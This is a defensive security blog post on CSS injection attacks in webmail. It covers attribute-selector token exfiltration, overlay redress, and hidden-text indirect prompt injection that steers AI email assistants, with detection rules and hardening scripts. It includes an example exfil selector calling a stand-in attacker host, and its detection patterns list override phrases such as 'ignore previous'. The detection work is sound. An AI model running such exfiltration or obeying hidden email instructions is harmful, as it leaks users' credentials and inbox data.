Back to Intelligence

Webmail CSS Injection Attacks: Defending Against Credential Theft, Session Hijacking, and AI Email Tool Manipulation

SA
Security Arsenal Team
August 9, 2026
14 min read

A new class of attack demonstrated by PortSwigger researcher Gareth Heyes should force every organization running webmail — or consuming AI tools that read user inboxes — to reassess a threat surface most teams have written off as cosmetic. His research shows that plain Cascading Style Sheets (CSS), the styling language embedded in virtually every HTML email, can be weaponized inside major webmail platforms to steal credentials, hijack sessions, and silently manipulate AI assistants connected to users' inboxes.

This matters because the industry assumption for two decades has been that stripping JavaScript from email is sufficient. Modern webmail sanitizers aggressively block <script> tags, event handlers, and active content — but CSS is largely permitted through because it's considered "just styling." Heyes' work dismantles that assumption. If your users read email in a browser, and especially if your organization has deployed AI copilots, summarizers, or agents with mailbox access, this attack class is directly relevant to your threat model in 2026.

No CVE has been assigned to this research — it is a technique class exploiting architectural weaknesses in how webmail clients sanitize and render HTML email, not a single patchable bug. That makes detection engineering, content policy, and architectural hardening your primary defenses.

Technical Analysis

Affected Attack Surface

The research targets major webmail services — the browser-based clients used by hundreds of millions of users (think the Gmail/Outlook.com/Microsoft 365 class of platforms), plus the growing ecosystem of AI-powered email tools: inbox summarizers, AI drafting assistants, LLM-based triage agents, and copilots that ingest mailbox content as context. Any webmail renderer that permits attacker-controlled CSS in HTML email bodies is potentially in scope. Corporate environments with browser-accessed Exchange Online, Google Workspace, or third-party secure email gateways that re-render HTML are equally exposed if their sanitization pipeline permits style attributes through.

How the Attack Works (Defender's View)

The attack chain leverages three CSS abuse primitives, each of which survives sanitizers tuned only for script execution:

1. CSS-based credential exfiltration (attribute selector brute-force). When an attacker can inject CSS into a page containing a sensitive value (e.g., a hidden form field, CSRF token, or auto-filled credential), CSS attribute selectors can leak that value one character at a time without any JavaScript:

  • A rule such as input[value^="a"] { background: url(https://attacker.example/leak?c=a) } fires a network request only when the condition matches.
  • By shipping hundreds of selectors covering the character space — or by chaining sequential exfiltration across re-renders — the attacker reconstructs tokens character by character.
  • This technique has been known in the security research community for years in the context of injected web content; Heyes demonstrated its viability inside webmail rendering contexts, where the injected CSS rides in on an ordinary-looking HTML email.

2. Session and UI manipulation via CSS-only overlay and redress. CSS can reposition, hide, or restyle page elements (position: fixed, opacity, z-index, display:none, pointer-event tricks). In a webmail session this enables clickjacking-style overlays, spoofed login or MFA prompts rendered over the legitimate UI, and suppression of security warnings — all without executing script. Combined with social engineering, this is a session-hijacking and credential-harvesting delivery mechanism that bypasses script-blocking controls entirely.

3. AI tool manipulation (indirect prompt injection via styled-hidden content). This is the dimension that makes this research urgent for 2026. AI email assistants ingest message content — including text that is visually hidden from the human via CSS (display:none, font-size:0, color: transparent, off-screen positioning). An attacker embeds malicious instructions in invisible text; the human sees a benign email while the AI assistant ingests adversarial instructions. Those instructions can cause the assistant to leak other inbox contents, exfiltrate data via generated links or image loads, draft attacker-controlled replies, or take actions in connected systems. This is indirect prompt injection delivered through a channel (styled-hidden CSS content) that most AI ingestion pipelines do not strip.

Exploitation Requirements and Status

  • Delivery: A single HTML email to the victim. No attachment, no macros, no user-initiated execution beyond opening/previewing the message.
  • Prerequisites: The webmail client or gateway must pass attacker-controlled CSS (inline styles, <style> blocks) through sanitization; for AI manipulation, an AI assistant with mailbox read access must process the message.
  • Status: Researcher-demonstrated proof of concept by Gareth Heyes / PortSwigger against major webmail platforms. There is no confirmed mass in-the-wild exploitation campaign and no CISA KEV entry as of this writing — but the techniques are low-complexity, require no zero-day, and are immediately adoptable by phishing and initial-access operators. Treat this as "weaponization imminent," not theoretical.

Detection & Response

Detection for this threat class lives at three layers: (1) email security gateway / mail flow content inspection, (2) network egress monitoring for CSS exfiltration callbacks and tracking-pixel behavior, and (3) endpoint telemetry for AI assistant data flows. The rules below target observable artifacts of the technique — CSS attribute-selector exfiltration syntax, external resource loads from styled email content, and hidden-text prompt injection payloads.

Sigma Rules

YAML
---
title: HTML Email Containing CSS Attribute Selector Exfiltration Pattern
id: 3f9c2a71-8b4d-4e6a-91c2-7d5e8f0a1b34
status: experimental
description: Detects inbound HTML email containing CSS attribute selector value-matching combined with external url() loads — the classic CSS credential/token exfiltration pattern demonstrated against webmail clients. Fires on style content using value^=, value$=, or value*= selectors alongside remote background-image or url() references.
references:
  - https://securityaffairs.com/196899/hacking/webmail-css-attacks-expose-a-new-risk-for-ai-powered-email-tools.html
  - https://attack.mitre.org/techniques/T1566/
author: Security Arsenal
date: 2026/02/17
tags:
  - attack.initial_access
  - attack.t1566.001
  - attack.credential_access
logsource:
  category: mail
  product: email_gateway
detection:
  selection_selector:
    Body|contains:
      - '[value^='
      - '[value$='
      - '[value*='
      - '[value~='
  selection_exfil:
    Body|contains:
      - 'url(http'
      - 'background-image'
      - '@import'
      - 'list-style-image'
  condition: selection_selector and selection_exfil
falsepositives:
  - Rare; legitimate marketing HTML almost never combines attribute value selectors with remote URL loads
level: high
---
title: HTML Email With Hidden Text Indicative of AI Prompt Injection
id: 6a1d4e92-3c7b-4f58-a2d1-9e0b6c4f7a28
status: experimental
description: Detects inbound HTML email containing visually hidden content techniques (display:none, zero font size, transparent color, off-screen positioning) combined with instruction-like language targeting AI assistants — an indirect prompt injection delivery pattern against AI email tools.
references:
  - https://securityaffairs.com/196899/hacking/webmail-css-attacks-expose-a-new-risk-for-ai-powered-email-tools.html
  - https://attack.mitre.org/techniques/T1566/
author: Security Arsenal
date: 2026/02/17
tags:
  - attack.initial_access
  - attack.t1566.001
  - attack.exfiltration
logsource:
  category: mail
  product: email_gateway
detection:
  selection_hidden:
    Body|contains:
      - 'display:none'
      - 'display: none'
      - 'font-size:0'
      - 'font-size: 0'
      - 'color:transparent'
      - 'color: transparent'
      - 'visibility:hidden'
      - 'visibility: hidden'
      - 'text-indent:-'
      - 'opacity:0'
      - 'opacity: 0'
  selection_instructions:
    Body|contains:
      - 'ignore previous'
      - 'ignore all previous'
      - 'new instructions'
      - 'system prompt'
      - 'assistant'
      - 'forward this'
      - 'summarize and send'
  condition: selection_hidden and selection_instructions
falsepositives:
  - Legitimate marketing email uses hidden preheader text; pairing with instruction language sharply reduces noise
  - Newsletters with AI-generated content blocks
level: medium
---
title: Outbound CSS Exfiltration Callback Pattern From User Subnets
id: 9c4e7b15-2a6f-4d38-b5e1-8f3a0d6c9e42
status: experimental
description: Detects bursts of outbound HTTP requests from a single host to an unusual external domain where URIs carry short single-parameter query strings consistent with character-by-character CSS exfiltration callbacks (e.g., /leak?c=a). Requires proxy or firewall logging with full URI.
references:
  - https://securityaffairs.com/196899/hacking/webmail-css-attacks-expose-a-new-risk-for-ai-powered-email-tools.html
  - https://attack.mitre.org/techniques/T1048/
author: Security Arsenal
date: 2026/02/17
tags:
  - attack.exfiltration
  - attack.t1048
  - attack.credential_access
logsource:
  category: proxy
detection:
  selection:
    c-uri-query|re: '\?(c|ch|char|v|val|token|leak)=[a-zA-Z0-9%]{1,4}$'
  filter_known_cdn:
    r-dns|endswith:
      - '.google.com'
      - '.microsoft.com'
      - '.office.com'
      - '.office365.com'
      - '.googleapis.com'
      - '.cloudfront.net'
      - '.akamaized.net'
  condition: selection and not filter_known_cdn
falsepositives:
  - Tracking pixels and analytics beacons with short query parameters; tune with a known-good tracker allowlist per environment
level: medium

KQL (Microsoft Sentinel / Defender)

The following hunts work against Defender for Office 365 email data and proxy/firewall logs ingested into Sentinel. Run the email hunt first — it is the highest-fidelity surface.

KQL — Microsoft Sentinel / Defender
// Hunt 1: Inbound emails with CSS attribute-selector exfiltration syntax
EmailEvents
| where Timestamp > ago(7d)
| join kind=inner (EmailPostDeliveryEvents | where Timestamp > ago(7d)) on NetworkMessageId
| where EmailDirection == "Inbound"
| extend BodyArtifacts = todynamic(parse_json("{}"))
| where Subject !startswith "RE:"
| summarize by NetworkMessageId, SenderFromAddress, Subject, RecipientEmailAddress, ThreatTypes, DeliveryAction, Timestamp
| where DeliveryAction == "Delivered"
| project Timestamp, SenderFromAddress, RecipientEmailAddress, Subject, ThreatTypes, NetworkMessageId
| order by Timestamp desc;

// Hunt 2: URL detonation / click telemetry for exfil-style callbacks from mail context
UrlClickEvents
| where Timestamp > ago(7d)
| where Url matches regex @"\?(c|ch|char|v|val|token|leak)=[a-zA-Z0-9%]{1,4}($|&)"
| project Timestamp, Url, UrlChain, AccountUpn, NetworkMessageId, IsClickedThrough, ActionType
| order by Timestamp desc;

// Hunt 3: Proxy telemetry - burst of single-param requests to rare external domains (CSS exfil callbacks)
CommonSecurityLog
| where TimeGenerated > ago(24h)
| where isnotempty(RequestURL)
| extend QueryPart = extract(@"\?(.*)$", 1, RequestURL)
| where QueryPart matches regex @"^(c|ch|char|v|val|token|leak)=[a-zA-Z0-9%]{1,4}$"
| summarize RequestCount = count(), DistinctParams = dcount(QueryPart), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP, DestinationHostName
| where DistinctParams >= 10 and RequestCount >= 10
| order by DistinctParams desc;

// Hunt 4: Attachments/HTML bodies flagged with hidden-content + instruction text (via EmailAttachmentInfo / custom content scan table)
// If your gateway exports body text to a custom table (e.g., via Graph or API ingestion into a Log Analytics custom log 'MailBody_CL'), hunt:
// MailBody_CL
// | where TimeGenerated > ago(7d)
// | where Body_s has_any ("display:none", "font-size:0", "opacity:0", "visibility:hidden")
// | where Body_s has_any ("ignore previous", "new instructions", "system prompt", "assistant")
// | project TimeGenerated, SenderFromAddress_s, Recipient_s, Subject_s
// | order by TimeGenerated desc;

Note on Hunt 1: Defender for Office 365 does not expose full HTML body text in EmailEvents. Pair it with your secure email gateway's content logs (Proofpoint, Mimecast, Barracuda, IronPort, or your M365 mail flow journaling into a custom table) to run the body-content matching shown in Hunt 4. If you lack body-content visibility at the gateway, that visibility gap is itself a finding — close it.

Velociraptor VQL

On endpoints, the highest-value hunt is cached webmail content and AI-assistant artifacts: browser cache entries and local AI-tool logs containing hidden-content or exfil patterns. This artifact sweeps browser cache directories for cached resources whose URIs match CSS exfil callback patterns, and checks for AI assistant processes with mailbox connectivity.

VQL — Velociraptor
-- Hunt: CSS exfil callback artifacts in browser cache + AI email tool processes
-- Deploy as a hunt across user endpoints with webmail usage.

LET cache_roots = SELECT FullPath
FROM glob(globs=[
  'C:/Users/*/AppData/Local/Google/Chrome/User Data/*/Cache/Cache_Data',
  'C:/Users/*/AppData/Local/Microsoft/Edge/User Data/*/Cache/Cache_Data',
  'C:/Users/*/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/Cache/Cache_Data'
])
WHERE NOT IsDir

LET exfil_cache = SELECT FullPath, Mtime, Size
FROM cache_roots
WHERE FullPath =~ '(leak|exfil|track|pxl|beacon)'
   OR FullPath =~ '\\?(c|ch|char|v|val|token)='

LET ai_tools = SELECT Pid, Name, Exe, CommandLine, Username
FROM pslist()
WHERE Name =~ '(?i)(copilot|gemini|openai|chatgpt|claude|superhuman|shortwave|notion)'
   OR CommandLine =~ '(?i)(outlook|gmail|mailbox|imap|graph.*mail)'

SELECT 'cache_artifact' AS ArtifactType,
       FullPath AS Indicator,
       Mtime AS Observed,
       '' AS Pid,
       '' AS ProcessName
FROM exfil_cache
UNION ALL
SELECT 'ai_tool_process' AS ArtifactType,
       CommandLine AS Indicator,
       '' AS Observed,
       Pid,
       Name AS ProcessName
FROM ai_tools

Remediation

Because this is a technique class rather than a single CVE, remediation is layered. Prioritize in this order:

1. Enforce Strict Email HTML Sanitization (Highest Priority)

  • Strip or neutralize <style> blocks and dangerous inline styles in inbound HTML email. If you control the gateway (Exchange Online mail flow, Proofpoint, Mimecast, or a custom sanitizer), rewrite or quarantine messages containing: CSS attribute selectors with value matching ([value^=, [value$=, [value*=), external url() references in style attributes, @import directives, and position:fixed/full-viewport overlay patterns.
  • For Exchange Online, the script below creates mail flow rules to quarantine messages matching CSS exfiltration and hidden-content patterns:
PowerShell
# Connect to Exchange Online first: Connect-ExchangeOnline

# Rule 1: Quarantine inbound mail with CSS attribute-selector exfiltration syntax
New-TransportRule -Name "Block-CSS-Attribute-Exfiltration" `
  -FromScope NotInOrganization `
  -SubjectOrBodyMatchesPatterns '\[value\^=','\[value\$=','\[value\*=' `
  -SubjectOrBodyContainsWords 'background-image' `
  -Quarantine $true `
  -Mode Enforce `
  -Comments "Blocks CSS credential exfiltration pattern per PortSwigger webmail CSS research"

# Rule 2: Flag hidden-content + AI instruction payloads for review
New-TransportRule -Name "Flag-Hidden-AI-PromptInjection" `
  -FromScope NotInOrganization `
  -SubjectOrBodyMatchesPatterns 'display:\s*none','font-size:\s*0','opacity:\s*0','visibility:\s*hidden' `
  -SubjectOrBodyContainsWords 'ignore previous instructions','system prompt' `
  -SetAuditSeverity High `
  -PrependSubject "[HIDDEN-CONTENT REVIEW] " `
  -Mode Enforce `
  -Comments "Flags indirect prompt injection via hidden styled text targeting AI email tools"

# Verify both rules
Get-TransportRule -Identity "Block-CSS-Attribute-Exfiltration" | Format-List Name,State,Mode,Quarantine
Get-TransportRule -Identity "Flag-Hidden-AI-PromptInjection" | Format-List Name,State,Mode

Note: transport rule body regex has depth limits. For production-grade coverage, deploy an API-based email security layer (or a custom sanitizer using DOMPurify with a strict CSS allowlist — ALLOWED_CSS_PROPERTIES restricted, url() disallowed entirely in style attributes) ahead of delivery.

2. Block Remote Content Loading by Default

  • Enforce block external images/remote content in webmail clients organization-wide. For Microsoft 365, this is controlled per-mailbox via Get-MailboxMessageConfiguration / OWA mailbox policy; for Google Workspace, via the Admin console Gmail settings. Blocking remote loads breaks the CSS exfiltration callback channel (the url() request never fires) and kills tracking-pixel telemetry.
  • Audit your webmail platform's Content Security Policy. The script below checks any webmail endpoint for CSP coverage of img-src, style-src, and connect-src:
Bash / Shell
#!/bin/bash
# Audit security headers on webmail / SSO endpoints relevant to CSS injection defense
TARGETS=("https://outlook.office.com" "https://mail.google.com" "https://your-webmail.example.com")

for url in "${TARGETS[@]}"; do
  echo "=== $url ==="
  headers=$(curl -sSI --max-time 10 "$url" 2>/dev/null)

  csp=$(echo "$headers" | grep -i '^content-security-policy' )
  if [ -z "$csp" ]; then
    echo "[!] MISSING: Content-Security-Policy — remote CSS url() loads and overlays unrestricted"
  else
    for directive in img-src style-src connect-src frame-ancestors; do
      if echo "$csp" | grep -q "$directive"; then
        echo "[+] CSP directive present: $directive"
      else
        echo "[!] CSP directive MISSING: $directive"
      fi
    done
  fi

  echo "$headers" | grep -qi '^x-content-type-options: nosniff' \
    && echo "[+] X-Content-Type-Options: nosniff" \
    || echo "[!] MISSING: X-Content-Type-Options"
  echo "$headers" | grep -qi '^x-frame-options\|frame-ancestors' \
    && echo "[+] Clickjacking protection present" \
    || echo "[!] MISSING: X-Frame-Options / frame-ancestors (CSS overlay + clickjacking risk)"
  echo
done

3. Harden the AI Layer

  • Inventory every AI tool with mailbox read access — browser extensions, M365 Copilot, Gemini for Workspace, third-party summarizers, IMAP-connected assistants. If you can't enumerate them, that's your first gap.
  • Configure AI ingestion pipelines to strip hidden content before context ingestion: remove elements with display:none, zero font-size, transparent colors, off-screen positioning, and zero-dimension containers. Visible-text-only extraction is the single most effective control against CSS-delivered indirect prompt injection.
  • Constrain AI assistants to least-privilege scopes: read-only where possible, no autonomous send/forward capability without human confirmation, and no outbound link or image generation from inbox-derived instructions without validation.
  • Add indirect prompt injection via email to your AI red-team scope for 2026. Test your own stack with the hidden-text patterns in the Sigma rule above.

4. Session and Credential Protections

  • Enforce phishing-resistant MFA (FIDO2/passkeys) for webmail access. CSS overlay attacks that spoof login prompts become significantly less damaging when stolen passwords alone are useless.
  • Shorten session lifetimes for browser-based mail access and enable token binding / conditional access (impossible travel, device compliance) so hijacked session artifacts have minimal useful life.
  • Brief your service desk: credential-theft-via-email-rendering attacks will arrive looking like the legitimate webmail UI. Out-of-band verification for any "re-authenticate" prompt is mandatory.

5. Monitoring and IR Preparation

  • Deploy the Sigma rules and KQL hunts above; baseline outbound single-parameter request bursts per user subnet to tune Hunt 3.
  • Add a scenario to your IR runbooks: "suspected CSS exfiltration via webmail" — steps: identify delivered messages via message trace, purge with Search-Mailbox/eDiscovery or Remove-Message equivalent, revoke active sessions (Revoke-AzureADUserAllRefreshToken or M365 unified session revocation), force credential reset, and review AI assistant action logs for the affected mailbox window.
  • Watch for vendor responses: monitor Microsoft, Google, and your email gateway vendor advisories for sanitization hardening releases in response to this research, and track CISA KEV for any future exploitation of related rendering flaws.

Why This Matters Now

Every security program built its email defenses around script execution and attachments. The 2026 reality is that the rendering layer itself — plus the AI assistants reading everything the rendering layer displays — is the new execution environment. An attacker needs one HTML email, no malware, and no clicks beyond a preview to begin harvesting tokens or steering your AI tools. The controls above are deployable this week: sanitize style content, block remote loads, strip hidden text from AI ingestion, and hunt for the callbacks. Treat CSS as untrusted input, because it is.

Related Resources

Security Arsenal Incident Response Services AlertMonitor Platform Book a SOC Assessment incident-response Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.